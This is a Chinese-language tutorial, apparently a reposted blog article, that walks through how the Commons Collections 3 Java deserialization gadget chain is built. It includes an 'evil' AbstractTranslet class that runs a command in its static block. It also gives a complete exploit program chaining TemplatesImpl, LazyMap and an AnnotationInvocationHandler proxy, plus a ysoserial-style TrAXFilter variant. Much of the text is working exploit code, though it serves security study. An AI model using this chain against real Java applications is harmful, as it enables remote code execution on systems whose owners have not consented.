java安全:从发现者角度解析CC3链构造过程
字数 1383 2025-08-29 22:41:38
Java安全:CC3链构造过程详解
1. 背景知识
1.1 Java类动态加载的安全问题
Java类动态加载机制会调用defineClass方法,该方法可以将一个class字节码转化为Java对象并加载到内存中。当我们在静态代码块中写入恶意代码时,defineClass执行并且newInstance后,恶意代码就会自动执行。
2. CC3链核心原理
2.1 关键类分析
CC3链的命令执行关键在于defineClass方法。通过逆向分析调用链:
TemplatesImpl类中的defineClass是default权限,只能在同一包内调用- 同一包内的
defineTransletClasses方法调用了defineClass,但它是private方法 getTransletInstance调用了defineTransletClasses,也是private方法- 最终
newTransformer这个public方法调用了getTransletInstance
2.2 defineTransletClasses方法分析
该方法主要功能:
- 给class数组赋值(赋值为class字节码)
- 构建实例并执行恶意代码
3. CC3链构造过程
3.1 基本构造步骤
- 创建一个
TemplatesImpl对象 - 由于内部属性都是private,需要使用反射进行赋值:
- 需要赋值的字段:
_name:任意字符串_bytecodes:包含恶意代码的类字节码(二维数组)_tfactory:TransformerFactoryImpl实例
- 需要赋值的字段:
3.2 恶意类构造要求
恶意类必须满足以下条件:
- 必须继承
com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet - 静态代码块中放置恶意代码
示例恶意类:
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class evil extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
3.3 完整CC3链构造代码
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3Test {
public static void main(String[] args) throws Exception {
// 1. 创建并配置TemplatesImpl对象
final TemplatesImpl templates = new TemplatesImpl();
final Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
// 设置_name字段
final Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"yuji");
// 设置_class字段为null
final Field classDeclaredField = templatesClass.getDeclaredField("_class");
classDeclaredField.setAccessible(true);
classDeclaredField.set(templates,null);
// 读取恶意类字节码
byte[] bytecode = Files.readAllBytes(Paths.get("E:\\java_sec\\tmp\\evil.class"));
byte[][] bytecodes = {bytecode};
// 设置_bytecodes字段
final Field bytecodesfield = templatesClass.getDeclaredField("_bytecodes");
bytecodesfield.setAccessible(true);
bytecodesfield.set(templates,bytecodes);
// 设置_tfactory字段
final Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
// 2. 构造Transformer链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null),
};
final ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 3. 构造LazyMap
final HashMap<Object, Object> map = new HashMap<>();
map.put("value","xxx");
final Map lazymap = LazyMap.decorate(map, chainedTransformer);
// 4. 构造AnnotationInvocationHandler代理
final Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
final Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
final InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Target.class, lazymap);
// 5. 创建代理对象
final Map proxyInstance = (Map) Proxy.newProxyInstance(
lazymap.getClass().getClassLoader(),
new Class[]{Map.class},
invocationHandler);
// 6. 创建最终的反序列化对象
final Object o = declaredConstructor.newInstance(Override.class, proxyInstance);
// 序列化和反序列化测试
serialize(o);
Deserialize("cc3.ser");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc3.ser"));
objectOutputStream.writeObject(obj);
}
public static Object Deserialize(String filename) throws Exception {
final ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
return objectInputStream.readObject();
}
}
3.4 Yso CC3变种分析
Yso中的CC3链实现不使用InvokerTransformer,而是使用InstantiateTransformer:
- 通过
InstantiateTransformer实例化TrAXFilter TrAXFilter的构造方法中会调用newTransformer
实现代码:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3Test2 {
public static void main(String[] args) throws Exception {
// TemplatesImpl配置同上...
// 使用InstantiateTransformer替代InvokerTransformer
final InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates});
final ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer,
});
// 后续LazyMap和代理构造同上...
}
}
4. 关键点总结
-
恶意类要求:
- 必须继承
AbstractTranslet - 静态代码块中放置恶意代码
- 需要实现
transform方法
- 必须继承
-
TemplatesImpl配置:
_name:任意非空字符串_bytecodes:恶意类字节码数组_tfactory:TransformerFactoryImpl实例_class:设置为null
-
两种实现方式:
- 传统方式:使用
InvokerTransformer调用newTransformer - Yso方式:使用
InstantiateTransformer实例化TrAXFilter
- 传统方式:使用
-
调用链:
readObject() -> AnnotationInvocationHandler#invoke -> LazyMap#get -> ChainedTransformer#transform -> InstantiateTransformer#transform -> TrAXFilter#constructor -> TemplatesImpl#newTransformer -> getTransletInstance -> defineTransletClasses -> defineClass -
注意事项:
- 需要Commons Collections库
- 不同JDK版本中
AnnotationInvocationHandler实现可能有差异 - 恶意类必须满足
defineTransletClasses中的条件判断